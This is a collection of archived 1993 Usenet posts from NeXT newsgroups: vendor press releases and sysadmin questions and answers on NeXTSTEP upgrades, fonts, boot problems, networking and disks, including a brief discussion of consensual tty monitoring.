object-oriented software for industry-standard computer
architectures. NEXTSTEP is used by customers to develop and deploy
client/server applications, using both custom and shrink-wrapped
productivity software. NeXT is headquartered at 900 Chesapeake
Drive, Redwood City, Calif., 94063.
-30-
Next, the NeXT logo, NEXTSTEP, and NeXTWORLD are trademarks of NeXT,
Inc. All other trademarks belong to their respective owners.
From: Conrad_Geiger@NeXT.com (Conrad Geiger - Manager, International NeXT User Groups)
Newsgroups: comp.sys.next.advocacy,comp.sys.next.misc,comp.sys.next.sysadmin,comp.sys.next.programmer
Subject: Pencom Software Rolls Out Mentoring Services Program for NEXTSTEP
Date: 29 Apr 1993 21:07:11 GMT
Organization: NeXT, Inc.
Distribution: world
Message-ID: <1rpg1v$4fr@rosie.next.com>
News:
Elizabeth Richardson
Pencom, Public Relations Specialist
Phone: 512-343-6666
Fax: 512-795-2022
Email: eli@pencom.com
Pencom Software Rolls Out Mentoring Services Program
Company Set to Assist Clients in Re-Engineering, Support and Training
Services
Austin, Texas, April 23, 1993 - Pencom Software announced
today the formalization of a Mentoring Services Program designed to
provide highly responsive, exceptional quality software support
packages customized for clients' specific needs.
Each package - the Bronze, Silver or Gold - provides a selection of
support components allowing clients to purchase only the specific
services they need for their organization. Fees are based
on the package purchased and are billed at a one-time annual rate,
allowing customers to pay an up-front fee for a designated set of
services. Each package includes on-site design reviews, electronic
mail, toll-free phone support, on-site system reviews with added
Software Architectural Team (S.W.A.T.) services billed at a
discounted rate. Additional services are available with the Silver
and Gold packages.
"The dynamics of today's marketplace have placed more
emphasis on responsive services," said Scott Abel, Director,
Re-Engineering Services. "Customers are now asking for more
interaction and expressing a desire for our expertise in a long-term
support relationship, rather than just on a project basis."
While Pencom is now formalizing these services into a fully
developed program, the company has already been assisting companies
with mentoring support. Clients such as McCaw Cellular, IBM,
Preferred Health Care, SunSoft and others have already utilized
Pencom's expertise in re-engineering, application development and
training services - services that are highlighted in the Mentoring
Support Packages.
"Customers are realizing that they need more than just a
hotline for their development support questions," said Abel. "They
want support from someone who inherently knows their business and
understands what they are trying to accomplish. Our mentoring
services provide an initial design review, followed up with quarterly
reviews. The same Pencom engineer will conduct all reviews for a
company, as well as be available for their phone or email questions.
The Gold package also includes an additional eight days of consulting
that can be utilized around one of the quarterly reviews at any time
during the year."
Furthermore, the packages provide discounted rates for Pencom's
S.W.A.T. services. These S.W.A.T. engineers are available for
companies requiring high-level, mission-critical assistance for
difficult technical problems, application design expertise or rapid
development of software.
"Today's marketplace demands that companies produce their
products and services more effectively and efficiently than ever
before," said Abel. "Pencom's re-engineering focus allows us to
respond quickly to a client's changing needs, and help them utilize
their computing environment as a competitive edge in their business."
Pencom continues to lead the industry in innovative service
solutions! Our latest program, the Mentoring Service Packages,
provide a cost-efficient alternative for companies utilizing systems
integration services the Open Systems marketplace.
Additionally, under the direction of Scott Abel, Director,
Re-Engineering Services, Pencom is positioned to make significant
contributions to the Open Systems industry. Abel's experience in
leading-edge technologies enables Pencom to position itself as a
leader in areas such as object-oriented programming, graphical user
interface development, client server technology and Windows NT.
Abel's responsibilities since joining the Pencom team in
March have centered on application porting and development,
client-server architectures, relational database design and
development, object-oriented programming, interoperability tools and
downsizing projects for end-user companies. His innovative
approaches have initiated programs such as the Mentoring Services
Program and the Device Driver development program for NeXTWORLD EXPO
exhibitors.
Pencom's leadership role in the Open Systems industry continues to
grow as the company expands its programs and services. Scott Abel
and other Pencom executives are willing to discuss the specifics of
the company's re-engineering vision. Please contact them
for further information at (512) 343-6666.
For more information, contact Elizabeth Richardson, Pencom
Software, 9050 Capital of Texas Highway North, Austin, Texas, 78759.
Ph: 512-343-6666. Fax: 512-795-2022. Email: eli@pencom.com.
Pencom Software is a division of Pencom Systems, Inc., a $43
million systems integration, technical search and contract
programming firm with six offices nationwide. Today, Pencom Systems
is the only company of its kind to provide the entire suite of
specialized services necessary for a smooth migration to open Systems
computing through personnel, services and products.
Newsgroups: comp.sys.next.sysadmin
From: raul@pencom.com (Raul Alvarez)
Subject: Re: Help! Loginwindow not appearing on startup
Message-ID: <1993Apr29.154837.24080@pencom.com>
Sender: usenet@pencom.com (News system)
Organization: Pencom Systems Incorporated
References: <1993Apr28.043053.285@relief.com>
Date: Thu, 29 Apr 1993 15:48:37 GMT
I had a weird problem like this when a couple of SIMMs in bank #1 went
bad. My cube started behaving strange some time before though.
Raul Alvarez
Newsgroups: comp.sys.next.sysadmin
From: lorinr@altsys.com (Lorin Rivers III)
Subject: Re: install fonts
Message-ID: <1993Apr29.203554.10128@altsys.com>
Organization: Altsys Corporation, Richardson, TX
References: <1993Apr27.101459.26251@news.csuohio.edu> <C675y5.4MG@nextsrv1.andi.org>
Date: Thu, 29 Apr 1993 20:35:54 GMT
In article <C675y5.4MG@nextsrv1.andi.org> dg@synex.andi.org (David M.
Gursky) writes:
>In article <1993Apr27.101459.26251@news.csuohio.edu>
>cowboy@trans.csuohio.edu (Joe Rosenfeld) writes:
>
>> Isn't it true that the buildafmdir with NS 3.0 is broken and you need
>> the copy from your 2.x system?
>
>Works fine for me, but then again, I didn't set up this NeXT. On the
>other hand, I think this NeXT postdates 3.0. To sum it up, I don't know.
buildafmdir for NS 3.0 barfs for more than approx. 250 fonts (not
Families, but individual fonts). The symptoms are miscellaneous
missing fonts and families. The fix is to use the buildafmdir from NS
2.X. Mebbe NS 3.1 fixes this problem.
--
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Altsys Technical Support 214.680.2518
269 W. Renner Parkway NeXT Mail Expected
Richardson, Texas 75080 I said it, not my boss
From: Conrad_Geiger@NeXT.com (Conrad Geiger - Manager, International NeXT User Groups)
Newsgroups: comp.sys.next.advocacy,comp.sys.next.misc,comp.sys.next.sysadmin
Subject: IPT Releases "Partner": Provides AppleTalk Networking for NEXTSTEP
Date: 29 Apr 1993 21:12:47 GMT
Organization: NeXT, Inc.
Distribution: world
Message-ID: <1rpgcf$4g4@rosie.next.com>
News:
FOR IMMEDIATE RELEASE
For more information contact:
Rod Braly
IPT
Phone: (805) 541-3000
Email: info@iptech.com
IPT Releases "Partner": Provides AppleTalk Networking for NEXTSTEP
San Luis Obispo, Calif. - April 26, 1993, Information Presentation
Technologies, Inc. (IPT), a leading manufacturer of Macintosh-to-UNIX
connectivity software, has officially released its Partner series of
products for NEXTSTEP systems. Partner provides NEXTSTEP users with
AppleTalk client support and AppleShare server support.
IPT's Partner offers additional options not available with NeXT's
AppleTalk client software, including bi-directional file-sharing,
bi-directional printing, print spooling, print queue management, icon
binding/mapping and electronic mail.
"Partner provides seamless interoperability between Macintosh
computers and NEXTSTEP systems, including both NeXT's 68040-based
workstations and Intel-based PCs that will run NEXTSTEP for Intel
processors" said Jon Simonds, president of IPT.
"NeXT's connectivity strategy is to focus on making NEXTSTEP the
leading object-oriented software for developing and deploying
client/server applications. We want to provide a framework upon which
specialized experts can base their solutions," said Brett Bachman,
director of product marketing at NeXT. "IPT is an ideal example of
this strategy in action. As a leading AppleTalk-to-UNIX networking
vendor, IPT is well positioned for delivering AppleTalk connectivity
solutions to NEXTSTEP customers."
Partner for NeXT's 68040-based workstations is shipping now; until
NEXTSTEP Release 3.1 begins shipping, the Partner product will
include an update of NeXT's kernel for improved AppleTalk protocol
support. Partner for NEXTSTEP for Intel processors will be available
May 25, 1993. Pricing for Partner starts at $149.
Information Presentation Technologies, Inc. was founded in 1983 and
is located in San Luis Obispo, Calif. IPT specializes in developing
server-based and peer-to-peer networking products for the UNIX and
Macintosh computing environments. For more information, contact IPT
at 555 Chorro Street, San Luis Obispo, CA 93405; telephone (805)
541-3000; e-mail info@iptech.com.
# # #
From: jcl@yonext.apl.washington.edu (James C. Luby)
Newsgroups: comp.sys.next.sysadmin
Subject: Software compatibility issue vis-a-vis NeXT OS 3.0 and. 2.1
Date: 29 Apr 1993 23:01:02 GMT
Organization: University of Washington
Distribution: na
Message-ID: <1rpmneINNh4k@shelley.u.washington.edu>
I'm thinking about taking the plunge and upgrading to NeXT OS 3.0. Before
doing I would like to know which of my OS2.1 software packages are not going to
run. Does anyone know if an upgrade compatibility guide has been posted and if
so when and where?
Thanks!
Jim Luby
Newsgroups: comp.sys.next.sysadmin
From: thf@zelator.in-berlin.de (Thomas Funke)
Subject: Re: How to monitor a tty?
Message-ID: <1993Apr27.091807.604@gamelan>
Sender: thomas@gamelan (thomas)
Organization: NNU Corp. - NeXT is Not UN*X
References: <1rcm8s$a92@pith.uoregon.edu>
Date: Tue, 27 Apr 1993 09:18:07 GMT
In article <1rcm8s$a92@pith.uoregon.edu> jfosback@darmok.uoregon.edu (Jason
Fosback) writes:
> Is there a way to monitor a tty that a user is logged into? I'd like to
> essentially be able to get a "mirror image" of what the user is seeing
> and typing on his or her tty.
>
Yes, that's what we all would like to have :-)
Perhaps you could hack a shell (tcsh, zsh) to mirror inputs and then give this
user only the hacked shell. Of course, this can be circumvented easily.
Any other ideas ?
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From: jstelly@math.uno.edu (John R. Stelly II)
Subject: How to make a bootable floppy
Message-ID: <1993Apr29.230846.17604@cs.uno.edu>
Sender: news@cs.uno.edu
Organization: University of New Orleans
Date: Thu, 29 Apr 1993 23:08:46 GMT
One of our NeXT Stations cannot be booted at all - not even in single-user
mode. When I attempt to boot it from within the monitor to observe what's
going on, it appears that its hard disk is completely full. The only
thing we can think of to do is to boot it from a floppy disk, but we don't
have any bootable floppies. So, does anyone know of a way to create a
bootable floppy disk(s) - if that's at all possible - from which I can
then boot the problem Station?
Thanks,
John Stelly - jstelly@math.uno.edu
( NeXT Mail welcome )
Newsgroups: comp.sys.next.sysadmin
From: ryne@beta.lanl.gov (Robert Ryne)
Subject: HelI botched my 2.1 -> 3.0 upgrade; how to recover?
Message-ID: <1993Apr29.181015.5056@newshost.lanl.gov>
Sender: news@newshost.lanl.gov
Organization: Los Alamos National Laboratory
Distribution: comp.sys.next.sysadmin, comp.sys.next.soft-sys.nextstep
Date: Thu, 29 Apr 1993 18:10:15 GMT
I recently posted an article (to the wrong group) stating
that I had upgraded my Cube (340M/8M) from NS2.1 to NS3.0.
I noticed very soon that something was quite wrong. For
example, I couldn't use Webster. Then I looked in my
UpgradeLog File, and discovered nearly 200 lines of the form
"Couldn't copy /NeXTSTEP_3.0/xxx/xxx to /xxx/xxx." It turns
out that most of the errors were for files in NextAdmin,
NextDeveloper, NextLibrary and /usr!
Here is what I did to upgrade (all as root):
(1)backed up my user accounts to Optical
(2)Installed the CD ROM Tools from floppy
(3)restarted the system
(4)Inserted the CD ROM, then ran Upgrade 3.0
I have been told that my mistake was in step 4, that I actually
had to "scratch" 2.1 and start with a clean disk (which I did
not do.) [As I understand it, I should have booted off the floppy
and then rebuilt the system from scratch from the CD ROM/]
My system is highly corrupted. What is the simplest way to recover
from this? Should I boot from my NS2.1 Optical Disk, then reinstall
2.1 on the hard disk, then upgrade (correctly) to 3.0? If anyone
would like to see my UpgradeLog file, I can repost it or send it
via e-mail. Any help is greatly appreciated.
Robert Ryne
Newsgroups: comp.sys.next.sysadmin
From: karthy@dannug.dk (Karsten Thygesen)
Subject: Re: install fonts
In-Reply-To: gvh@metrosoft.com's message of Thu, 29 Apr 1993 16:24:25 GMT
Message-ID: <KARTHY.93Apr30003948@dannug.dannug.dk>
Sender: news@dannug.dk (Usenet news owner)
Organization: Dannug - Danish NeXT Users Group
References: <C675y5.4MG@nextsrv1.andi.org> <1993Apr29.162425.19267@metrosoft.com>
Date: Thu, 29 Apr 1993 23:39:48 GMT
>>>>> On Thu, 29 Apr 1993 16:24:25 GMT, gvh@metrosoft.com (Gordon Van Huizen) said:
Gordon> In article <C675y5.4MG@nextsrv1.andi.org> dg@synex.andi.org (David M.
Gordon> Gursky) writes:
> In article <1993Apr27.101459.26251@news.csuohio.edu>
> cowboy@trans.csuohio.edu (Joe Rosenfeld) writes:
>
>> Isn't it true that the buildafmdir with NS 3.0 is broken and
>> you need the copy from your 2.x system?
>
> Works fine for me, but then again, I didn't set up this NeXT. [...]
> To sum it up, I don't know.
Gordon> The 3.0 version has a limittation of 255 fonts per directory. Aside
Gordon> from that it seems to work fine.
Well, in 3.1PR1 it seems to not work at all. I successfully installed
and used several fonts under 3.0, but I can't get it to work on the
prerelease of 3.1. Anyone got it to work??
Karsten.
Newsgroups: comp.sys.next.sysadmin
From: alee@quads.uchicago.edu (Nic Fit)
Subject: How do you disable power off?
Message-ID: <1993Apr30.020952.22533@midway.uchicago.edu>
Sender: news@uchinews.uchicago.edu (News System)
Organization: Dumb Phuck University
Date: Fri, 30 Apr 1993 02:09:52 GMT
At Berkeley, we got a couple Color Nextstations - here's what we'd like
to do with them:
We'd like to disable power off so that it will be on 24hrs/day, but rather
than just taking off the keyboard or whatever, we'd like to use them as
workstations. What's a practical way of disabling power off?
Mucho thanks,
- Art
--
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alee@midway.uchicago.edu Pickle a squirrel today.
Newsgroups: comp.sys.next.sysadmin,comp.sys.next.hardware,comp.sys.next.apps,comp.sys.next.programmer
From: szatezal@magnus.acs.ohio-state.edu (Shane M Zatezalo)
Subject: Rebuilding a controller block
Message-ID: <1993Apr30.023832.27331@magnus.acs.ohio-state.edu>
Sender: news@magnus.acs.ohio-state.edu
Organization: The Ohio State University
Date: Fri, 30 Apr 1993 02:38:32 GMT
I have a Seagate drive which has had the controller blocks wrote over
on the drive. (Its a seagate, scsi-2).
Is there software for my beloved NeXT that'll let me re-do the blocks?
(I called the Seagate support bbs and downloaded all the info that about
the drive that I'd need to do it, but I don't have the software to do it)
Thanks! If you can, please reply via mail, since this is very important
to me and my computer!
shane
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From: vanhet@garnet.berkeley.edu (John van Heteren)
Newsgroups: comp.sys.next.sysadmin
Subject: Connecting THICK to THIN ethernet
Date: 30 Apr 1993 03:20:57 GMT
Organization: University of California, Berkeley
Distribution: na
Message-ID: <1rq5up$mmo@agate.berkeley.edu>
Hi. The lab that I work at has a thick ethernet cable running around
to various boxes which have AUI connections. The network is primarily
populated with Xterminals and SGI machines. I would like to attach my
NeXT to this network (if successful, it will be the only NeXT at our
site).
I would like to know: Is it O.K. to just connect my NeXT with its thin
ethernet cable (50 ohm coax, BNC connectors) to the end of the THICK
ethernet cable (50 ohm coax, N type connectors) with the appropriate
N to BNC adaptor, and with the 50 ohm terminator hanging off my NeXT?
The total length of the combined cable will be well under the maximum
limits for either Thick or Thin coax. As you can see, I know the
cable impedances are matched, however, I'm not sure about line voltages,
etc.
I'd also appreciate any advice vavilable on what files I must configure,
either through the NeXT editor, HostConfig software, or whatever. The
lab's system administrator tells me that he'll update the names database
on the master SGI node when I get connected.
Thanks in advance,
John van Heteren
vanhet@garnet.berkeley.edu
Newsgroups: comp.sys.next.sysadmin
From: cedman@princeton.edu (Carl Edman)
Subject: Re: How to monitor a tty?
In-Reply-To: thf@zelator.in-berlin.de's message of Tue, 27 Apr 1993 09:18:07 GMT
To: thf@zelator.in-berlin.de (Thomas Funke)
Message-ID: <CEDMAN.93Apr29214234@capitalist.princeton.edu>
Originator: news@nimaster
Sender: news@Princeton.EDU (USENET News System)
Organization: Princeton University
References: <1rcm8s$a92@pith.uoregon.edu> <1993Apr27.091807.604@gamelan>
Date: Fri, 30 Apr 1993 01:42:34 GMT
In article <1993Apr27.091807.604@gamelan> thf@zelator.in-berlin.de (Thomas Funke) writes:
In article <1rcm8s$a92@pith.uoregon.edu> jfosback@darmok.uoregon.edu (Jason
Fosback) writes:
> Is there a way to monitor a tty that a user is logged into? I'd like to
> essentially be able to get a "mirror image" of what the user is seeing
> and typing on his or her tty.
>
Yes, that's what we all would like to have :-)
Perhaps you could hack a shell (tcsh, zsh) to mirror inputs and
then give this user only the hacked shell. Of course, this can be
circumvented easily.
Any other ideas ?
The right way to go is a spy device driver which mirrors all tty's
into a second set of devices. I once wrote such a device driver for
the NeXT and my testers tell me it worked fine, but device drivers
being as sensitive pieces of software as they are I'd hate to release
the sources until I'm certain that it won't crash your machine or
dirties your disk buffers.
Carl Edman
Newsgroups: comp.sys.next.sysadmin
Subject: Re: How to monitor a tty?
Message-ID: <SCOTT.93Apr30042141@nic.gac.edu>
From: scott@nic.gac.edu (Scott Hess)
Date: 30 Apr 93 04:21:41
References: <1rcm8s$a92@pith.uoregon.edu> <1993Apr27.091807.604@gamelan>
Organization: Is a sign of weakness
In-reply-to: thf@zelator.in-berlin.de's message of Tue, 27 Apr 1993 09:18:07 GMT
In article <1993Apr27.091807.604@gamelan>,
thf@zelator.in-berlin.de (Thomas Funke)
writes:
>In article <1rcm8s$a92@pith.uoregon.edu>,
> jfosback@darmok.uoregon.edu (Jason Fosback) writes:
>> Is there a way to monitor a tty that a user is logged into? I'd like to
>> essentially be able to get a "mirror image" of what the user is seeing
>> and typing on his or her tty.
>
>Perhaps you could hack a shell (tcsh, zsh) to mirror inputs and then
>give this user only the hacked shell. Of course, this can be
>circumvented easily.
If you have the cooperation of the user (of course, most valid uses
of such an ability _do_. Other uses would usually be considered a
violation of privacy), then this is neat:
program | tee /dev/ttyp3
where "program" is the program you want to see output of and /dev/ttyp3
is the tty you want to see the output on.
Later,
--
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12901 Upton Avenue South, #326 Burnsville, MN 55337 (612) 895-1208 Anytime!
Newsgroups: comp.sys.sgi.graphics,comp.sys.next.sysadmin
From: ploeger@aplki.toppoint.de (Andreas Ploeger)
Subject: NeXT's display postscript on SGI Indigo?
Message-ID: <1993Apr30.125223.1404@aplki.toppoint.de>
Sender: ploeger@aplki.toppoint.de (Andreas Ploeger)
Organization: Andreas Ploeger
Date: Fri, 30 Apr 93 12:52:23 GMT
Does anybody have experience running a NeXTstep application and having it's
display postscript shown on a SGI Indigo using the NXHost mechanism?
The Indigo comes with a display postscript server.
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From: ginsparg@qfwfq.lanl.gov (Paul Ginsparg 505-667-7353)
Subject: where in the world is merge ?
Message-ID: <1993Apr29.213813.18117@newshost.lanl.gov>
Sender: news@newshost.lanl.gov
Organization: Los Alamos National Lab
Date: Thu, 29 Apr 1993 21:38:13 GMT
in 3.0, i find a man page for a utility called merge (attached below)
which could be useful, but there's no merge on my path (or elsewhere).
anyone know where it is, or, if not included in nextstep distribution,
whether merge (or some equivalent) is available on an archive somewhere?
pg
> man merge
MERGE(1) UNIX Programmer's Manual MERGE(1)
NAME
merge - three-way file merge
SYNOPSIS
merge [ -p ] file1 file2 file3
DESCRIPTION
Merge incorporates all changes that lead from file2 to file3
into file1.
..(omitted text)...
IDENTIFICATION
Author: Walter F. Tichy, Purdue University, West Lafayette,
IN, 47907.
Revision Number: 3.0 ; Release Date: 82/11/25 .
Copyright (C) 1982 by Walter F. Tichy.
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From: mark@xexos.com (Mark Chamberlain)
Subject: Re: Help! Loginwindow not appearing on startup
Message-ID: <1993Apr28.124542.1909@xexos.com>
Sender: news@xexos.com
Organization: Xexos, Ltd (London)
References: <1993Apr28.043053.285@relief.com>
Date: Wed, 28 Apr 1993 12:45:42 GMT
In article <1993Apr28.043053.285@relief.com> jjfeiler@relief.com (John Jay
Feiler) writes:
> I'm having a rather odd problem. When I boot my system, the startup of
> nmserver seems to be dying. I get an error message on the console, something
> like:
>
> tcp_listener.bind failed: errno=48
> TCP: panic.
>
Which version of NeXTStep are you running? I think I know, and it shouldn't
really be discussed here.
Check that /etc/hostconfig exists. During one of our upgrades it got trashed
and this happened to us. It also happened a few times when running said version
in 8Mb.
--
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Xexos Ltd fax +44 71 231 0844
London mark@xexos.com
From: Ruediger Popp <rpopp@ebigek01.ciw.uni-karlsruhe.de>
Newsgroups: comp.sys.next.sysadmin
Subject: Re: Help! Loginwindow not appearing on startup
Date: 30 Apr 1993 15:47:07 GMT
Organization: University of Karlsruhe, Germany
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Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
In article <1993Apr28.124542.1909@xexos.com> mark@xexos.com (Mark Chamberlain)
writes:
> In article <1993Apr28.043053.285@relief.com> jjfeiler@relief.com (John Jay
> Feiler) writes:
> > I'm having a rather odd problem. When I boot my system, the startup of
> > nmserver seems to be dying. I get an error message on the console,
something
> > like:
> >
> > tcp_listener.bind failed: errno=48
> > TCP: panic.
> >
>
> Which version of NeXTStep are you running? I think I know, and it shouldn't
> really be discussed here.
>
> Check that /etc/hostconfig exists. During one of our upgrades it got trashed
> and this happened to us. It also happened a few times when running said
version
> in 8Mb.
>
> --
> Mark Chamberlain +44 71 237 4535
> Xexos Ltd fax +44 71 231 0844
> London mark@xexos.com
We are running a 040 Cube with 64MB and a 16 MB NeXTDimension Board (PAL).
After installing NS3.0 from scratch (not an upgrade!) we had a lot of troubles
with the missing loginwindow, too.
After several failed trials we fixed the problem.
Obviously one of the fontdirectories
/NextLibrary/Fonts or
/LocalLibrary/Fonts
was corrupted in an unknown way.
The problem was solved copying the Directories from CD to HD in single-user
mode.
A user in Austria who had similiar problems fixed the bug running builafmdir
over the directories
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Engler-Bunte-Institute
Dept. Chemistry and Technology of Gas, Oil and Coal
University of Karlsruhe (TH)
Richard-Willstaetter-Allee 5
W-7500 Karlsruhe 1 (01.07.93: 76128 Karlsruhe)
Germany
Tel.: +49 721 608 2994
E-MAIL: rpopp@ebigek01.ciw.uni-karlsruhe.de (NeXT-Mail preferred)
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From: brad@instep.wimsey.bc.ca
Subject: How do I get host-host connectivity using SLIP?
Message-ID: <1993Apr30.174255.17175@instep.wimsey.bc.ca>
Sender: brad@instep.wimsey.bc.ca (Bradley Head)
Organization: InStep Mobile Communications Inc.
Date: Fri, 30 Apr 1993 17:42:55 GMT
How do I configure a network so that I host-to-host connectivity
can exist between two local nets connected via Dialupip SLIP?
I'm not connected to the Internet, so all the ip addresses are fictitious.
I can currently connect only between the two hosts on each respective net
that
have the modem attached.
The two networks have the following fictitious ip addressing.
okanagon 192.42.173.1 vancouver 192.42.171.1
kamloops 192.42.173.2 westvan 192.42.171.2
penticton 192.42.173.3 whiterock 192.42.171.3
burnaby 192.42.171.4
The okanagon and vancouver have Dialupip SLIP running between them.
(i.e. vancouver is reachable from okanagon).
My /usr/dialupip/config/config.slip file for vancouver has this entry for
connecting to okanagon:
# ------------------------------ slip0
SLIP0LOCAL=192.42.171.1
SLIP0REMOTE=192.42.173.1
SLIP0NETMASK=255.255.250.0
SLIP0CONFIG=CSLIP
I would like to be able to have every host reachable by any other host.
For example I would like to be able to rlogin into kamloops from
whiterock.
How do I set this up?
Please reply via email. Thanks so very much.
Cheers,
Brad
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brad@instep.wimsey.bc.ca (NeXTmail accepted)
604 872-7116 fax: 604 872-7125
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From: garton@cunixa.cc.columbia.edu (Bradford Garton)
Subject: Seagate ST11200N disktab or MODE sense needed!
Message-ID: <1993Apr30.195909.9834@news.columbia.edu>
Sender: usenet@news.columbia.edu (The Network News)
Organization: Columbia University Electronic Music Center
Date: Fri, 30 Apr 1993 19:59:09 GMT
Aaaack!
Like an idiot, I managed to destroy the label on my brand-spanking-new
Seagate ST11200N disk. Could some kind soul send me a disktab entry and/or a
the SCSI MODE sense info so I can make my life whole again? 1024-byte
blocksize, I hope...
THANKYOU! THANKYOU! THANKYOU! THANKYOU! THANKYOU! THANKYOU! THANKYOU! THANKYOU!
Brad Garton
Music Department
brad@woof.music.columbia.edu
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From: garton@cunixa.cc.columbia.edu (Bradford Garton)
Subject: Re: Seagate ST11200N disktab or MODE sense needed!
Message-ID: <1993Apr30.211213.15033@news.columbia.edu>
Sender: usenet@news.columbia.edu (The Network News)
Organization: Columbia University Electronic Music Center
References: <1993Apr30.195909.9834@news.columbia.edu>
Date: Fri, 30 Apr 1993 21:12:13 GMT
Never ever mind. I done fixed it mah-self.
Sorry to bother the Net.
brad
From: rawyatt@girtab.usc.edu (Robert Alexander Wyatt)
Newsgroups: comp.sys.next.sysadmin
Subject: WE NEED NETWORKING HELP
Date: 30 Apr 1993 17:33:42 -0700
Organization: University of Southern California, Los Angeles, CA
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*********************************************************************
WE NEED NETWORKING HELP -- mostly because we are clueless...
*********************************************************************
We are attempting to network our office with five NeXT machines and
five Macs. (we don't want your pity... just your help...)
Now that you are done laughing, please answer some or all of the
following questions -- partial credit for partial answers...
1. Should we wire the whole office with Ethernet or attempt to mix
and match LocalTalk and Ethernet? If we mix the two, what additional
hardware is required?
2. Who makes good Ethernet cards for the Mac LC and SE?
3. One of our NeXTcubes is the mail server with a UUCP connection to
the Internet. Are there any Mac applications which support NeXTmail?
If not, what Macintosh mail application work best with NeXTmail?
4. We have 2 NeXT laser printers and 2 Apple LaserWriters. Is there
any way for the Macs to print to the NeXT laser through another
NeXTcube (which is the print server)?
5. Can we share files using only one file server?
6. Any recommendations on networking software to get the two
platforms talking?
Thanks in advance for all your help.
-Rob Wyatt
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From: clarance@nshade.uah.ualberta.ca (Clarance Howatt)
Subject: NETMASK PROBLEM
Message-ID: <1993May1.004904.10569@kakwa.ucs.ualberta.ca>
Sender: news@kakwa.ucs.ualberta.ca
Organization: University Of Alberta, Edmonton Canada
Date: Sat, 1 May 1993 00:49:04 GMT
Background:
In the hospital where I work there are several domains ranging from
xxx.xxx.104.xxx to xxx.xxx.111.xxx. For security reasons only the
internet addresses in the xxx.xxx.109.xxx domain have access to the
internet.(the router ignores everything else). I have 4 (soon to be 8)
NeXT color slabs on the xxx.xxx.109.xxx domain.
Problem:
I need to find a way to allow the NeXTs on th 109 domain to talk to NeXTs
that are not on the 109 domain. Ya I thought it would be easy to. I
changed the netmask to 255.255.248.0 and thought that was it. The result
was that although the NeXTs could now see the entire hospital network only
the server could get outside of this domain. It would seem that NFS is
doing something magic. If you have any thoughts one this they would be
greatly appreciated.
regards
---------
Clarance Howatt
Age only matters if you're cheese
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From: mordor!shane (Shane Holder)
Subject: Re: Exceedingly slow user logins
Message-ID: <C64r5H.3uD@mordor.uucp>
Sender: shane@mordor.uucp (Shane Holder)
References: <1993Apr21.190809.11444@kakwa.ucs.ualberta.ca>
Date: Tue, 27 Apr 1993 06:53:40 GMT
In article <1993Apr21.190809.11444@kakwa.ucs.ualberta.ca>
sherwood@space.ualberta.ca (System Administrator) writes:
>
> One machine on our net has become VERY slow to complete the workspace
> initialization. (20 minutes+)
* Stuff Deleted *
I had a problem similar to this but my response time was not that bad, the
solution, though could be the same. The best I could figure is when
workspace gets started it searches the workspace path to associate file
icons with extensions. I had a huge LocalApps directory with CoXist ~50M,
Frame, etc. Workspace seems to recursivly descend into the directories in
the path. I would imagine that if your LocalApps is NFS mounted and you
have lots-o apps this could take a long time. My solution was to move
CoXist out of the path and move any apps that don't have documents
associated with them to other Local directories not in WS's path, ie. I
created directories like LocalAdmin, etc. I'd be interested in knowing if
anyone else has had trouble like this and what solutions have been found.
Shane Holder
sholder@cse.uta.edu
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From: lena@Happy-Man.com (Galena_Canada)
Subject: Disk Healer s/w out there?
Message-ID: <1993May1.000117.27989@Happy-Man.com>
Organization: Happy Man Corp., Vashon Island, WA 98070-7399
Date: Sat, 1 May 1993 00:01:17 GMT
We're in need of a program that will search out bad blocks
on a SCSI disk in a systematic fashion. As near as I can
tell fsck(8) is inadequate and NeXT's disk(8) doesn't work
on SCSI drives (please *do* correct me if I am mistaken!).
Any and all suggestions most welcome...
'Lena the Sysadmistress
--
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4410 SW Pt. Robinson Rd., Vashon Island, WA 98070-7399 fax x108
We publish SOLID VALUE for the intelligent investor. NextMail OK
Info free; sample $20: Send POSTAL addr: Solid-Value@happy-man.com
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'Lena //
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From: ryne@beta.lanl.gov (Robert Ryne)
Subject: NS 2.1 -> 3.0 upgrade problem solved (bad media)
Message-ID: <1993Apr30.233030.1021@newshost.lanl.gov>
Sender: news@newshost.lanl.gov
Organization: Los Alamos National Laboratory
Date: Fri, 30 Apr 1993 23:30:30 GMT
Thanks to the people who sent me e-mail about my botched
2.1 -> 3.0 upgrade. On my 2nd attempt, I booted from the floppy and
installed from the CD; this time I was able to see on the monitor
that the reason so many files had failed to be copied the first time was
because of media errors. I borrowed another CD, and it worked perfectly.
Now I just have to re-install user accounts, third party apps,...
Robert Ryne
Newsgroups: comp.sys.next.sysadmin
From: cedman@princeton.edu (Carl Edman)
Subject: Re: where in the world is merge ?
In-Reply-To: ginsparg@qfwfq.lanl.gov's message of Thu, 29 Apr 1993 21:38:13 GMT
To: ginsparg@qfwfq.lanl.gov (Paul Ginsparg 505-667-7353)
Message-ID: <CEDMAN.93Apr30125828@capitalist.princeton.edu>
Originator: news@nimaster
Sender: news@Princeton.EDU (USENET News System)
Organization: Princeton University
References: <1993Apr29.213813.18117@newshost.lanl.gov>
Date: Fri, 30 Apr 1993 16:58:28 GMT
In article <1993Apr29.213813.18117@newshost.lanl.gov> ginsparg@qfwfq.lanl.gov (Paul Ginsparg 505-667-7353) writes:
in 3.0, i find a man page for a utility called merge (attached below)
which could be useful, but there's no merge on my path (or elsewhere).
anyone know where it is, or, if not included in nextstep distribution,
whether merge (or some equivalent) is available on an archive somewhere?
Look in /usr/lib.
Carl Edman
Newsgroups: comp.sys.next.sysadmin
From: M_Carling@BlueRose.com (M Carling)
Subject: Re: Help! Trouble with 2.1 -> 3.0 upgrade (long)
Message-ID: <1993Apr30.151119.16058@bluerose.com>
Sender: m@bluerose.com
Organization: Blue Rose Systems, Inc.
References: <1993Apr29.045440.9928@newshost.lanl.gov>
Distribution: na
Date: Fri, 30 Apr 1993 15:11:19 GMT
In article <1993Apr29.045440.9928@newshost.lanl.gov> ryne@beta.lanl.gov
(Robert Ryne) writes:
> Today I upgraded my Cube (8M/340M) from NS 2.1 to NS 3.0.
> Unfortunately the UpgradeLog file is full of errors, mainly
> of the form "Couldn't copy xxx/xxx to xxx/xxx." I knew something
> was wrong when I couldn't access Webster. It turns out that many of
> the affected files are from NextAdmin, NextDeveloper, NextLibrary
> and /usr! Has anyone seen this behavior before? Any suggestions on
> the simplest way to fix my filesystem?
Use BuildDisk.app.
M Carling
President, Bay Area NeXT Group
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From: M_Carling@BlueRose.com (M Carling)
Subject: Re: How to make a bootable floppy
Message-ID: <1993Apr30.151428.16114@bluerose.com>
